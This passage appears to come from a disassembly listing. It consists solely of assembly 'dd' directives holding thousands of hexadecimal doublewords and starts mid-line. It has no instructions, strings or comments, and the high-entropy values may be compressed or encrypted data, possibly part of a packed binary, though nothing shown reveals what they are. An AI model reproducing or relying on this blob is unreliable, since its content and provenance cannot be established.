0B255301Dh, 0A550F9E7h dd 7AAA3D78h, 64E46D7Fh, 98029814h, 94E87EE7h, 2162AA92h dd 0EB527533h, 0D9FE4595h, 4F181Dh, 973238D3h, 0DD06DF2Ah dd 0BD8AAD50h, 314B224Fh, 70307BDEh, 8B2D0FDEh, 6A96E11h dd 0C35C7C62h, 71346AEDh, 92ACFF12h, 6AA3B1A5h, 82F01AE6h dd 0C501A137h, 8D296C65h, 992B03F5h, 49017234h, 0B95F01DEh dd 0C63281A6h, 0E5AECD44h, 0A9302BD7h, 2FFFA8Ah, 36E0BFE1h dd 685C7DEEh, 8104DB50h, 0F605F589h, 27D49C55h, 13CF04E3h dd 9CBADA40h, 8A8D4BC8h, 4080283Dh, 0C0D9853Dh, 69D4B860h dd 3D580FC5h, 0C4EB4D97h, 62A278h, 4830A457h, 92D50Eh dd 8ADEF66Dh, 2620980Bh, 1AC444Ah, 0B80D4D84h, 17DC443h dd 5A7ABEh, 276B84F4h, 0A8BB2276h, 480F4A48h, 3600E956h dd 90244816h, 7A0931AFh, 59C073AAh, 35F7A755h, 0BC302700h dd 0D29457F3h, 0B9A4804Eh, 5A8B6Dh, 56083998h, 4535D941h dd 0C909BB71h, 0DF5F5521h, 0C3B7AE98h, 6D6F6A4Fh, 35CEA209h dd 0D8699A74h, 0CE1C4A3Dh, 7B45F2Bh, 0FBA283FAh, 56538BD5h dd 2353436Ch, 0F567F1C8h, 0C9EEBD03h, 5A8F8CEDh, 0B143EBB2h dd 0D25A5160h, 69D5C2CAh, 0EE140F20h, 0A4948Ch, 14CD1565h dd 1E1B767Eh, 0EBEBA91h, 403421C6h, 0D7A225DAh, 515F725Bh dd 203A3289h, 9CF6EB5Ch, 2A0C6407h, 0DB609BE6h, 3B2D126Ah dd 2600581Dh, 665E3C5Dh, 443D7ABAh, 99ECCA61h, 5198BFD3h dd 0A7024AB5h, 6AA85EDCh, 0A671134Fh, 0FA1FF04Eh, 285CBF47h dd 0CB01C52Ch, 44E97641h, 0BE296164h, 2AF62D62h, 0AF6F1657h dd 0AAD25380h, 3F402E9Bh, 0E6FA60A9h, 9603802Bh, 0F1D0F570h dd 6634A86Fh, 8D63138Fh, 93DAFBE9h, 2F6D9993h, 600048BDh dd 80D281F8h, 755AA9CCh, 969D0DA9h, 0D582ADFBh, 0A52ACB8h dd 0BD9529FEh, 0FA4ABCE0h, 8FFCCC22h, 0D38160D0h, 76594AA2h dd 2ADB056Bh, 0AB16F809h, 1623986Bh, 0D2D98404h, 115650BCh dd 4FB496F0h, 0A9C8280Eh, 0D3A2F703h, 64B98D07h, 0CDE0104Bh dd 2EFF5031h, 0BF04206Eh, 0C4BA6FDBh, 0ACB7EEB3h, 2DD35200h dd 0B5FF0D34h, 0A2F84093h, 8F700EDh, 0F0486254h, 96B421B9h dd 1BD0302h, 8F446713h, 6AC16DBFh, 3B515018h, 0B3AF1420h dd 390909ACh, 389AE86Fh, 0BE515C42h, 1EB4004h, 0CA6C30FFh dd 6A98CF76h, 36FB505Ah, 8B4B0632h, 0BFD2A5BCh, 367169Ch dd 1FD771Fh, 0B3B82F8Dh, 44995F46h, 0C4BD5EA8h, 2CF10226h dd 27793654h, 2D5B7BF7h, 8A77107Dh, 455E4CC8h, 4916E5Ah dd 4B9B533Fh, 31F118Ch, 88B51093h, 0EAEC2E35h, 84DB8B99h dd 97F4904Bh, 0B90907A6h, 9776961Bh, 9DDCFADEh, 1791E582h dd 0ADAB4DD5h, 8040D06Dh, 0E02F7C7h, 8133C57Fh, 9D04F0E1h dd 64BD3B62h, 1D0CD5B1h, 0F56DF020h, 0EA67E66Fh, 0CDC48649h dd 0B874B94Eh, 89FB0445h, 0EE2ACD9Dh, 0F6C89CF2h, 0F9B50182h dd 71737424h, 0CD27A5E3h, 7019646Ch, 2DCBBECAh, 2EFCAC7Ah dd 0CE8996D6h, 2CC1920h, 2F026F36h, 8D0FF769h, 82455B0Eh dd 7D4E7B03h, 702C305Ch, 0D6225625h, 8071A46h, 2C014DFh dd 0C34297C2h, 595F6F46h, 8C4B21B3h, 6204BBB7h, 9668CA10h dd 0D7AFA5BEh, 39B781BCh, 0F0BD2F08h, 82FD1CB9h, 719BE348h dd 250B1240h, 98BA1BDh, 0B704CC7Dh, 0FA0045E4h, 0E43609B3h dd 0D0F3F6F8h, 0A792962Ah, 0E2CAB0EEh, 0FBE49FFDh, 0DF472600h dd 0D107B5Dh, 0DD0F2597h, 0FFA60210h, 407E5600h, 0EEACA2F8h dd 46B7006Ah, 7BB25E8Ch, 7D04447Fh, 29605BCEh, 0B0E7CC2h dd 613281D5h, 372F3BB7h, 0FC80C5E1h, 0F452C42Eh, 6449CEBCh dd 5758EF8h, 289BDC3Ch, 3527B622h, 8919B91Fh, 0C552AA2Eh dd 128CCEE1h, 501F0199h, 3E512033h, 5FC72509h, 275EB5FDh dd 5605D8CCh, 0BC5DA64Dh, 0B824C2FFh, 0F653F6h, 3AFBF184h dd 0A5B509E5h, 71BFABA8h, 42749525h, 30377F40h, 0B2E74100h dd 9009D2EAh, 5ADC9556h, 7AD8D55Ah, 50846595h, 3FE2BB11h dd 7D5C0F04h, 57EF8509h, 3AC2AFE7h, 315B7D34h, 0FA49FD70h dd 12E11773h, 258B12F8h, 83CABEA8h, 8847C9A0h, 0BB7B5702h dd 7ED8E11Dh, 4DF12E9h, 0BD1BD527h, 0B50BDF92h, 7F31427Dh dd 44318CEDh, 0FC6A96D8h, 0FDF174A2h, 9FDCE6F0h, 686200DCh dd 0DA06027Ch, 414C18C4h, 61BB5AB7h, 2F23B18Ah, 0F1303429h dd 6ABB972Fh, 0FFFAA225h, 55A5E6BFh, 60574098h, 0F51ABAE2h dd 61FE6D5Bh, 6102218Ch, 0BA959E84h, 7BB8EFD4h, 1DBD2BC7h dd 0B1B86B9Bh, 93E6DBF5h, 0DB5C5EBh, 208D0585h, 2FE31E57h dd 8806361h, 0B6E2EB14h, 0F0A0B712h, 51B5F568h, 9010C03Dh dd 0E910608Bh, 0C15AF279h, 0F0218E7Ah, 58BD89C1h, 1F6EB5A3h dd 0EFF9C2A2h, 0A7BB6000h, 9738A52Dh, 0BF01C2F4h, 17EF4EC2h dd 0BCAFE92Eh, 8FB900E6h, 9D0BFB7Ch, 0F4911119h, 0BD056224h dd 4D022C75h, 5F201835h, 0C18005B7h, 2B677739h, 860E373h dd 0FABD5B09h, 56FF8412h, 0E056A6E9h, 0A2CF7A1h, 0DD850122h dd 0BF9080E3h, 54F48341h, 0E3A0505Ah, 45DEB7F9h, 462D0FDEh dd 0DFE184DAh, 7AC2BACCh, 16D53605h, 0BB9D60BAh, 1000A070h dd 5A4312F8h, 3B68820h, 53093624h, 0F1FD2CBDh, 0C0D07847h dd 0FE81BAB1h, 4E7B2Fh, 525EACB2h, 27121401h, 89957702h dd 5E22B59Dh, 9F7520Ch, 46EC7DA6h, 2F2B7120h, 0E1B7D1FFh dd 37C64302h, 88517F05h, 0E7DB25h, 7EBA2C6Fh, 101F7DCh dd 0C0F1CF81h, 282E3FDEh, 7F8A89E5h, 4729B089h, 0E663ED7Dh dd 0C524E455h, 6449912Ah, 420E0022h, 6C9563D7h, 0F800EA20h dd 9151A88Ch, 0B0EB81h, 11CCF69Bh, 0CDA5BA66h, 0FB27B7B8h dd 4BBE4461h, 0C8F09ADAh dd 0DB14C01Ch, 0F402E4E2h, 0B901716Ch, 0C7E47F8Bh, 0DFDBECCh dd 0B3B05AE9h, 203F89F3h, 7E22BFBAh, 6E744AC1h, 4FB85FDAh dd 3681C280h, 2275B7ECh, 1A68F704h, 0E6FE1EDBh, 9014A2DEh dd 0B5900332h, 93184790h, 7B163B03h, 0E8ACA4D3h, 2BF84E9h dd 5477B40Eh, 0A170505Fh, 592D4D25h, 0B0F149EEh, 7A4B5500h dd 1B4972Ch, 0F2E02A5Eh, 3FA08A25h, 18E2DFF6h, 70041E6Ch dd 0B8A5B69Bh, 83BA3AFh, 2D1B7595h, 0E0A93402h, 0F69755Eh dd 0DB411F26h, 0A6C6358h, 5BDD9860h, 0B76FEF18h, 7551007Ah dd 19C8F836h, 724A568Bh, 12E872FAh, 0B01F052Bh, 0E6DE28D0h dd 55099D70h, 44F29D5h, 37BD305Ah, 3C94F722h, 71941440h dd 9E700BB9h, 7C01AE25h, 2F5F1581h, 49653E9h, 0ABE32151h dd 3390E75Dh, 3B04BFD7h, 5B000C41h, 174543BFh, 0B2FC794Fh dd 201CED84h, 26D0EF80h, 607FD18Bh, 77507439h, 0DFE7C400h dd 5BD3C0BDh, 0CD550162h, 0E959A3D4h, 0C614296h, 0E7EF8720h dd 0D6720080h, 717A6E1Ah, 4CBD9DA7h, 0C98D1066h, 0DDA15F01h dd 4918816Ah, 597C4BBh, 62F9445Bh, 2D612705h, 5A1EBA28h dd 91CD4BB8h, 1F3E492Eh, 81897053h, 0E1FA5730h, 61AA742Dh dd 5FC44E1Bh, 21394FE9h, 3A20E5A9h, 810145B7h, 3D33BAEFh dd 4C222F59h, 0BDFC241Eh, 85098147h, 0A00616C5h, 743C6883h dd 0EC15A5F7h, 9B862046h, 1E870F13h, 0BAB775BAh, 204FCCCEh dd 0AFA0758Bh, 0BB81C101h, 6A5FD18Dh, 86F6A82Fh, 4462D47h dd 892021FAh, 0AAE6FE67h, 844C1CA2h, 169AD91Fh, 0F7BC83C1h dd 0C63E9C61h, 0CF0EE2FAh, 0AEB9F58Ch, 0DBBB120Fh, 0F796838Dh dd 8EE6900Bh, 0AB3A2F59h, 0CBE75060h, 31AD6C4Eh, 0E14DBD12h dd 6AB8DD48h, 0B5164D7Eh, 8A530027h, 3D22BFAh, 2699D12h dd 0C8A42AABh, 6905C01Bh, 74EED4ADh, 0F3B8E24Bh, 0A42CA1C0h dd 10000337h, 6FD1BC45h, 0E07850h, 96A63430h, 699B501h dd 7D4B0396h, 0DAA68367h, 0DB4395D6h, 65FF239Ah, 0EB5370DAh dd 0EBAAA24h, 0DB027824h, 5C2B3897h, 9BD56E9h, 0DCC27EFFh dd 128DD838h, 0E904AE49h, 38AE07F1h, 0E38A5D43h, 0DAAA8C3Eh dd 0D23C906Bh, 0D0D186AAh, 90B3FB12h, 60509DE3h, 0E75109EFh dd 1E37E1FFh, 60B56D8Eh, 0DF9CBF54h, 0BE149758h, 92A71D5Fh dd 8F7DB7B0h, 0F3147012h, 8B74E0AFh, 0DF8ADE4Bh, 0B7F00438h dd 0B6E0D0EDh, 163C5E6Eh, 0F052BD51h, 599D166Ah, 4B99C409h dd 0E6477FE8h, 40647425h, 0BC6FCD7Eh, 0FB01A302h, 57F42AAAh dd 5FC2D5FEh, 0DCFB7460h, 4A2F1FB4h, 82E8D58Fh, 2E4A698Dh dd 8526DFAFh, 0F183548Eh, 0D0091202h, 231FF0CCh, 245DBD11h dd 0FDA63588h, 54C4520Bh, 1B46D673h, 14A51A00h, 0E194C4D6h dd 0FDD6D4Bh, 55C0875Ah, 60F39C33h, 79BD0B09h, 426D5C0Ah dd 0BDDF8573h, 66968540h, 0BA04C4C9h, 9DC2E7E8h, 2CDC2D81h dd 0E67300FCh, 18FCA532h, 8003D09h, 6D641C68h, 0C77BBD4h dd 817C02B3h, 9F16E3BEh, 0F59B2BB1h, 4F02638Eh, 3057FFC4h dd 0EDD9BDC6h, 0F0E9560Ah, 15C2534h, 0BDBF3B9Ah, 2B5A7C60h dd 0F948DCB3h, 0F530E44Bh, 2D923AEAh, 0FDDB5750h, 975B0340h dd 0DB81D718h, 9AFA5609h, 8BA2715Ch, 0B2FD3AB3h, 9AE455DEh dd 9C39E850h, 84224902h, 0D75FE109h, 0B5842179h, 0B3AF1CADh dd 0D487003Fh, 0FBCB253Dh, 0AE7D0564h, 0FA8933F2h, 10BD9CCh dd 67489FBBh, 0D4D63052h, 0B106E864h, 4DD3F28Eh, 1BE525E6h dd 6697D27Bh, 0C4ECD4BAh, 4941EFFFh, 0BD99D33h, 25DAA72Ah dd 95E1860h, 31E5208Dh, 0D49189FAh, 27FE42ADh, 681561E2h dd 7EF4B203h, 16600E81h, 0ADF6EB26h, 2CCB879h, 0F5699FE2h dd 4FFD858Dh, 28ADC09Fh, 0BF00F536h, 2B421179h, 9BB6090h dd 4AC82CDAh, 0C695BB66h, 0AF614FBDh, 5B516844h, 0EB881312h dd 0FCE26185h, 93776C2Fh, 9020244Ch, 72BBC078h, 7B251D4Eh dd 72485B61h, 0D6F88975h, 0C08469EBh, 0F1608403h, 2CA72A37h dd 0A73114B2h, 8D139F27h, 393CFFD1h, 0D0CF9D3Ch, 6131C460h dd 0EE110016h, 0E1219D75h, 900D381h, 293297EFh, 971F19BDh dd 8D310030h, 76872D71h, 0D279DE4h, 78B75513h, 30BA9893h dd 0C8BE496Eh, 5B416F2Dh, 0DD744CD1h, 0C9DC1153h, 3E60F974h dd 1C029DFh, 3F0BDDBDh, 884A07F7h, 930328AEh, 0BF26A84Bh dd 5099F1FDh, 5EB57630h, 0D97B8Dh, 0D54A7963h, 0E562FB6h dd 0ABD7816Eh, 0AE716784h, 6AFF6074h, 0C16B003Ah, 5E3289A5h dd 0F3E20A58h, 826B50F9h, 0C9A8B459h, 5D9D5h, 385BF1E4h dd 8EF4A0EAh, 0FE0EF525h, 564DAF9Eh, 73CEFFCBh, 8195891Ch dd 1EB7772Dh, 1D9ECC27h, 5DDD6253h, 0F256548Ch, 0BF1A1D12h dd 0F726DA61h, 0BFDA60E6h, 8903CE7h, 88C33758h, 92F86E9Bh dd 0B80060D9h, 77D699EBh, 0E2E36FFAh, 2519975Fh, 64E5D929h dd 0D32480A4h, 0F1C90494h, 6F5E271Dh, 0EBE70763h, 5105985Ah dd 0B0DF4B44h, 6DB55B56h, 641D647Dh, 0FCF2D4BEh, 9688D316h dd 203B0075h, 4BDFC5A3h, 0EA85084h, 8001E25Fh, 94BDCBE7h dd 203BFD38h, 0C5E0D34Bh, 45D3E01h, 116BCE40h, 4A5F83FCh dd 0ADA5845Bh, 8C1DAC2Fh, 132C7603h, 98725559h, 9D5F6056h dd 1C59E25Bh, 27FB2E19h, 82D32CBh, 100474C1h, 1358BF66h dd 0BBC2837Ah, 7F71306Fh, 0E25A9D17h, 576B79Fh, 0C42A1719h dd 73F7BE2Ch, 4AFF6A5h, 0FC51EDACh, 0A2EBB6AFh, 0CAA2B019h dd 0C5F3396Fh, 0E3F2C4AFh, 591D0925h, 0A954699Dh, 5DB55FA7h dd 3F80082Bh, 0C5DD6E47h, 0F7060BA9h, 0E47DC27Bh, 3C44004Eh dd 0A0789077h, 15003688h, 0C546EE50h, 251E804h, 1468F381h dd 0AD4165CCh, 73876FF8h, 61D4B964h, 6D2A09BAh, 0BF70CD4Ah dd 0E953F695h, 194B0BD8h, 0C86F399Dh, 7F0084CCh, 0E39B6D7h dd 1CFE7B4h, 0E013A5F3h, 92BDB529h, 380E5F57h, 50E252F9h dd 6CB11E88h, 0C06070Dh, 9513F120h, 50DA5983h, 70BFCCADh dd 62A4F14Bh, 1753B587h, 550BD58Bh, 17E077CDh, 33F79DEh dd 0B1A86CDDh, 0DBCCB70Fh, 0C21B88D1h, 46D56CA8h, 0F6D89D82h dd 532D6AB6h, 181459A0h, 919BE4Dh, 5402B5A2h, 5E5C1699h dd 39AD6071h, 0EA809337h, 6427F937h, 53782DE9h, 7F10CA61h dd 0AFD2FBB2h, 30006D6Ah, 0F8ED7D1Dh, 9D160949h, 76FF2A3Dh dd 0D84B0CE0h, 293D7D8Bh, 16A9AD4Eh, 0D1AC66E9h, 0E0D0A64Eh dd 0B4C18B42h, 0F71DDC05h, 8A5C33A7h, 7C89CBD7h, 0E7A77F8h dd 9C0F70B0h, 0AF5C0840h, 7EB75BFCh, 8281459Bh, 0A57D740Bh dd 0AF45D1FDh, 0C740F568h, 4144B966h, 8B562F5Fh, 58EDA077h dd 168033FFh, 515EE1C9h, 810391ABh, 0CC79D7F6h, 0EEB8F9E3h dd 7C28D08Eh, 0D660A749h, 0A41B3820h, 0BFD8974Eh, 33D91841h dd 8A101B20h, 5804675h, 4A0A407h, 0AB43FA65h, 0C8EB8361h dd 5A81F8B4h, 0FE3D1EFh, 0E6402B85h, 0E1FBBA66h, 19091E9h dd 6F29DFB3h, 3B7C6198h, 96E95E45h, 790C3FF0h, 0FA4C00ECh dd 794EBF76h, 0C700A74Fh, 81D3DC95h, 0C90712h, 481C9211h dd 7A65995Fh, 0F7A18800h, 0E1BB9ECCh, 0C09C5C53h, 0F1627660h dd 92014CA5h, 3611C6ECh, 41D3EA66h, 1983C511h, 7C88C06Ah dd 82A45800h, 0D4E16E37h, 4BE4186Bh, 512316Fh, 1EE2BD1Ch dd 21E36E81h, 188CED57h, 9248E716h, 6160C978h, 0CCB8AF30h dd 96A40114h, 6C4A66DDh, 1EA880ADh, 0CAD5D952h, 4FD30065h dd 0C1F5BEECh, 0BD5C191Bh dd 9E260067h, 0D1946698h, 51B1C75Eh, 0B7EFB321h, 0FD962010h dd 69363078h, 0A94FD2EAh, 927F2AE6h, 6F41D9DDh, 0F8BB1D8Dh dd 51BD1180h, 47FD69D5h, 0ED05C819h, 880FC19h, 5E86D86Bh dd 9A365A10h, 55E1506Eh, 4AD8BC31h, 0F07000E4h, 3F3DDACCh dd 0D906E76Ch, 7D601A14h, 16940718h, 5063D693h, 9237B91Bh dd 86E808CFh, 3FB8CEC6h, 1E87B867h, 8771EEA5h, 0BA2BD186h dd 4CC10E8h, 666F015Eh, 6D967DDDh, 0F7089B0Dh, 5E3C8821h dd 417300FAh, 0FC263D8Ch, 5B019D67h, 0C61EE858h, 599166EAh dd 5E01832Eh, 3105F268h, 39AF10F6h, 4A6005Eh, 7C6EFE61h dd 2E18E844h, 1350F01Eh, 953C284Ah, 6B3928E4h, 74834A0h dd 0A0100E5Ah, 0C345230h, 41F60F76h, 0DC1A101Bh, 0A18C40AEh dd 29C01EECh, 2286F71h, 193171E8h, 84990CDh, 0DC21806Ah dd 0A5262866h, 0AF8118B5h, 0CCE71914h, 4D77D700h, 0BA6CDCE3h dd 4C8E0112h, 0F65A18F4h, 0A5E44116h, 20C4D5ECh, 3C2A1234h dd 7A2ACCB6h, 9638E81Ch, 0F15D00D5h, 0F3B217A1h, 0EF6000E4h dd 0C351829h, 1F60CD7Fh, 99CA2320h, 2EF30FA8h, 7C60F21Bh dd 7DDCB3CBh, 193C3700h, 5F3DDF35h, 67E85Bh, 0EC1ED06Ah dd 290D784Bh, 30C78200h, 8D720BD9h, 0B1F7007Ah, 8540E4FDh dd 1DF8B078h, 0FF0494Ch, 0E2F14CC5h, 609CAA34h, 0B2B878h dd 0BC38EA69h, 4C01F7F5h, 1086E200h, 0ED6A5DC6h, 0CEFD001Bh dd 0AAC4C511h, 803FC2D0h, 17B900DBh, 5AFA9F2Eh, 0E35800AFh dd 29150975h, 0A6E26A5Fh, 0D6BCD700h, 0B22B4C57h, 0CD5E0FDDh dd 8E80AB6Eh, 177A1352h, 0D5C65500h, 2903BDFCh, 0A2B9066Dh dd 88E95C9h, 2052FD30h, 385D7h, 0D3442183h, 0D1102449h dd 7C1BF603h, 1A2D950h, 0AF995A28h, 0BD1AE85Eh, 7DE68320h dd 3A1CD550h, 870CFB68h, 0B511D0FEh, 6C15BE00h, 0C26EA05Bh dd 898FB52h, 0A61321D9h, 7AD7150Ch, 0B989E6h, 9E485E4Eh dd 0A51B0916h, 80BF123Eh, 8BD231D7h, 39C70D71h, 74501146h dd 0B8048C60h, 0A16D2C03h, 0DA20F862h, 1CB0380h, 4AE257EEh dd 0F33EE731h, 0BCD1FED0h, 9850FF3Eh, 0A7511458h, 7F0118CDh dd 0D328E8FDh, 0BB78CA50h, 4CB14614h, 66C70644h, 107719h dd 79FB156Fh, 6C45E8D5h, 72E12C01h, 97A718D3h, 19EAFCh dd 0D2E38C7h, 22FD3BD6h, 0ACC5D200h, 0F2081FCAh, 42DF00B4h dd 57F3448h, 32003C1Dh, 2194E406h, 2C866578h, 3277DFh dd 2D1EB7E0h, 6B0FAF72h, 40408AF0h, 0DE070103h, 0BC331CE9h dd 0DF48012h, 90C7D054h, 9D5C3E00h, 0EDB1C2FBh, 0FDB90ED6h dd 274FA8E6h, 0D1D0CE60h, 1E007063h, 1FF4AC29h, 377A34h dd 53371B7h, 6D3B2FFBh, 779FCF0Fh, 6AFE213h, 880C8004h dd 0CEE3D0h, 97D1B768h, 49F65D4Eh, 0BA35DF07h, 28BC162Fh dd 33463A9Ch, 0AC4BFC3Dh, 4170ECEh, 80DF41B5h, 90C429D3h dd 0B9950E6Ah, 0CA4039C1h, 20FC06BAh, 4E839E03h, 384596BDh dd 4F803C58h, 21415D7Ch, 4901E0A1h, 625AEFAh, 0DE805FF1h dd 0FB75B11Bh, 543BEAE8h, 1F4400F7h, 0B2CD5D2Ah, 8E530EBh dd 5B9F8A70h, 608FE751h, 0CF00FA98h, 0AC9E8F5Ah, 6149E43Ah dd 0D2B0194Dh, 65DDC68h, 0AAE1636Eh, 338F84F5h, 32E198B5h dd 106531D0h, 0BEDAED60h, 0C0820020h, 2078ECD6h, 87C3007Fh dd 0A08BA981h, 0ED004BCBh, 0E3F23C5Eh, 61FFDFh, 0DEBE6E3Bh dd 5D2B9DF9h, 0EEBBCB00h, 0A5FDBFD7h, 0D51F00DDh, 0D4138E34h dd 0FC00EF8Dh, 786DF8AFh, 95CA43h, 0F970DA62h, 0D47F139Eh dd 275AFB00h, 0B1AEE65Dh, 50800ED7h, 837DC65Fh, 0CFA2548Dh dd 887F1801h, 580DDCEh, 6C56E01h, 0E419C170h, 0DEF224B5h dd 0CCDC0401h, 55279186h, 740861FAh, 7BB7340h, 0D6EEDB20h dd 0F0EC29C9h, 278C5809h, 4F1E031Eh, 0A2083016h, 58090F21h dd 4838476Ch, 9A4188F3h, 0DC275Ch, 77428901h, 5CA9F0h dd 9D4F1B37h, 26D1A170h, 0BBD6EF01h, 0D7EBDDDh, 0E0CD03DCh dd 25B40132h, 0F281C43Bh, 33F1E869h, 185A9E00h, 1F834D73h dd 3BDF1E94h, 3604177h, 60E7A5CAh, 0EB00D750h, 9374A83Ch dd 0DD7F9Ch, 7AF497CDh, 0B33E3642h, 0F0456C0Fh, 8A15C02Dh dd 5A2FDEh, 9C84E11Ah, 0EC1F2A62h, 0FDC918CAh, 0F00DC1Fh dd 9A589826h, 2880F5D0h, 57C6E17Fh, 0B003F87h, 946CF853h dd 3B0A758h, 0A47DBF2Fh, 180031B3h, 1C03DB3Eh, 1F088957h dd 0E9969C0h, 21C1409Ch, 8009F7E7h, 261784A8h, 0A0BF8Ah dd 5BBD1E87h, 0B016151Bh, 6CE24000h, 39D0B1E1h, 0DC2E004Ch dd 7BF83624h, 780C86D9h, 0B89F474Ah, 0D1930A4Fh, 1DFC59DAh dd 5AAA0112h, 8C0B13DBh, 0D8A0B569h, 22FE009Ch, 5492416Dh dd 0D0001DB2h, 0FDB5DA9Fh, 15F9D6Bh, 0D2924CFh, 0D0F0A3C0h dd 0DA00045Bh, 0E278437Ah, 707D3399h, 0F14A3E54h, 73640A0Fh dd 598A318Fh, 4F063EFEh, 18614962h, 98034EEAh, 68532BE7h dd 7218659h, 0E272D475h, 401FB8A2h, 0A6C1BEC6h, 71027F11h dd 342A034Bh, 4221C6Ch, 21BC0830h, 4A9AECh, 0FDAA0886h dd 19A62243h, 6A41526h, 3688218h, 0C0779062h, 0EEBE9068h dd 693E4FE5h, 8D1700FDh, 0FFA55D81h, 0C01C7413h, 85FA8758h dd 0F01E7EA0h, 0E8998C64h, 21AC9C08h, 0F885075Eh, 0DB6631B0h dd 436FF0E9h, 1909C548h, 9278131Ch, 8C5A1886h, 29008985h dd 0F895BBD0h, 98C1BAA8h, 0AE2F0003h, 9ECD9B41h, 0FA120A91h dd 3C003549h, 52A08A06h, 0C28B01F1h, 0E8611C10h, 0E28C200Dh dd 850BFE00h, 5508EF4Dh, 0B582030Fh, 74995C72h, 40E1079Fh dd 0D83521E6h, 525FC000h, 777EC10Ch, 91A40CF8h, 2418C468h dd 4667FA00h, 6CCF6A98h, 3CE2F040h, 0A300BB0Ah, 0CB6BCC19h dd 670C995Fh, 6082B5A9h, 6C9D0028h, 0A4C0BDC1h, 0D40021BEh dd 0A95FF5B0h, 61C1977h, 0C427C3F3h, 0CBF83086h, 21A17D06h dd 29B5A4h, 85D2A6D5h, 3FEF27D4h, 26EEA18h, 3C179B78h dd 5DB4F8BEh, 8C1C31D0h, 9CE98071h, 45FA25E7h, 6B623E08h dd 206E98E4h, 610931BCh, 3902E8B2h, 5C21A121h, 0AC10A351h dd 0EC2E81D3h, 2200F1F7h, 1C736C55h, 20776160h, 309CB499h dd 3F1F75CAh, 0CF008D20h, 1021F257h, 81AA18D8h, 6A73B139h dd 0D5DC2B01h, 0A5D3C9C2h, 0E3D0B571h, 6E9B31EBh, 80228151h dd 7BF77408h, 0FACFF80Fh, 0F9EF0FBEh, 0B806E57h, 9C1C815Ah dd 34AB9F03h, 0C882094h, 0AF362A79h, 5A3811D2h, 0A175831Dh dd 5B13119h, 0DED22416h, 64980007h, 5DCAF313h, 298F0200h dd 6FC85AFAh, 7967790Ch, 0CFE4162Ch, 78AE18FDh, 842891A1h dd 615424C2h, 6F003BBCh, 22288E02h, 88156Ah, 9DD0C71Ah dd 0CD998245h, 4C5B49h, 0A3B51BFh, 19D8FE24h, 8F6DC29h dd 9C2C24B4h, 8E3BA900h, 0F4E5F715h, 7A210F79h, 7689533Fh dd 8C742421h, 31BCFFh, 0F4F81D79h, 33C9B941h, 0B70918A1h dd 0A4D9210Ah, 0F900D7E0h, 0A524C3D5h, 41A360FAh, 0CA6CF535h dd 18B3FD00h, 0FF8528F6h, 4D220984h, 1E005C46h, 1F808EFBh dd 5F4827EAh, 0E8082A4Ch, 29647A5Ch, 0FC00D88Ch, 1A1E43F2h dd 79160C9Bh, 0CB0810D5h, 95006492h, 3FE43ECh, 0F6FFAD92h dd 0D3561FFBh, 5D8392B6h, 2EE9713Ch, 0D843C1CFh, 220007E4h dd 9235A4B3h, 3E055BFCh, 1009B9AFh, 0E4206D38h, 5C3F732Ah dd 0CFD8E502h, 0B31A8242h, 0AF3BD8BCh, 81E64324h, 893B50E1h dd 0EE3730h, 0BD9BAF21h dd 0A57D1726h, 3528221Bh, 0B7678869h, 0E510279h, 784AEF55h dd 1DD45C48h, 0E1061A7Ch, 0E9B6BA69h, 55C32409h, 1A858194h dd 0E85DC431h, 1509FCC9h, 5C1B9D3h, 0B0001C1Dh, 23497A6h dd 9951504h, 1500C022h, 1782243Bh, 0D330C7A7h, 5E938ADh dd 0E0910152h, 0E1950AE4h, 9308097h, 0BB71DC07h, 36A718A4h dd 0FA1F8130h, 0C2F1AB60h, 2D64A6h, 69631A46h, 8724CD84h dd 0CE0279FAh, 0E26FB88Bh, 6EA6C1AFh, 3386F442h, 1A144388h dd 96104B46h, 0F1670E57h, 88064043h, 0C0C83FBEh, 203E8E90h dd 98A37545h, 2301C87Ch, 91ED69D9h, 0B4306F30h, 1A2C0582h dd 5DE6890h, 406B60B8h, 0E3C9EEB0h, 8064126Ch, 0AC087A98h dd 243F6C0h, 107B461Ah, 69075DDDh, 811F43F3h, 0FCE281A4h dd 7C01FFA6h, 939215D5h, 0F8202560h, 0ED51C140h, 8659C019h dd 27D0BE98h, 390D0819h, 4246295h, 8C9B2809h, 8CF790DCh dd 133943EEh, 972AC61Ah, 0F0663E94h, 0BA417380h, 0B3DC652Ch dd 13C7D0A8h, 490694A8h, 9F0D6F00h, 0F8FC3444h, 57540069h dd 0C970B20Ah, 506879Eh, 7D1ED722h, 45C00E9h, 0A8DF2A4Dh dd 0B54C77C0h, 1A62344h, 240B3BF4h, 88A31886h, 3B04AC9Dh dd 6327A65Eh, 406CCCC8h, 0E200A856h, 0C780E743h, 48655273h dd 0C0375827h, 2F7B4570h, 0CA23CCh, 0A838853Fh, 0CE01A6DBh dd 19BD9E2Ah, 0B832C30Fh, 2E0C9410h, 0E7002764h, 0E19D0A22h dd 2C7C9090h, 804C54B3h, 2E29A4E5h, 1D011FB8h, 24D176AEh dd 0D8347F4Ah, 601EFEA1h, 278A58C6h, 1C00C5B8h, 42224788h dd 93F1550Fh, 1AAF0EECh, 0B379E1A2h, 0AA10C019h, 0F71E1AD7h dd 5001522Bh, 27ADB9A3h, 9CEA4891h, 0E1FA1A01h, 1032BB91h dd 1AA88EDEh, 80359320h, 0E039B99Fh, 8BE90909h, 0F8948182h dd 0C2512C4h, 3CC478D1h, 0EB6802DAh, 4CE06B7Ah, 35E3FA40h dd 0D308A500h, 219D0406h, 1C90A038h, 0B2DF7494h, 0D22A090Ch dd 5C070D32h, 4DCE3D5h, 5061881Ah, 9F6C61B1h, 870C4h, 0CE53717Fh dd 0AE4A627Ah, 9F38B56Eh, 74B442Ch, 0BA47A69Ch, 0A5C40BC1h dd 802B199Fh, 44325E4Ah, 0D00F76CBh, 8F7B1BD1h, 9FF12E69h dd 50050ECCh, 8CDC1FAFh, 0AE5940C0h, 6169414h, 65BED009h dd 0FC90807Dh, 0E233719h, 3AA562A6h, 0C2C2DCE4h, 84401814h dd 131F3634h, 26414135h, 0A6B92212h, 6C5CF9FBh, 3ED820h dd 0D0944479h, 0C153BC4Ah, 0BCF6252Eh, 380090A6h, 0A2D8648Bh dd 7A1674B9h, 682754BEh, 0EA02007Ch, 33CEA2E8h, 0F500304Eh dd 0E9B86FB0h, 0D4779F8h, 0A4C44F46h, 3AA8C831h, 0CEE65E01h dd 0DF12AC64h, 0BBAAF20h, 92B0A0E9h, 0A2A75C87h, 70E0A40Bh dd 0A80066DDh, 36ECF251h, 785F3C94h, 0D7A700B2h, 123A29F1h dd 400FA15h, 0A8C933FFh, 1FBD4641h, 5D4938h, 13658577h dd 3200590Ch, 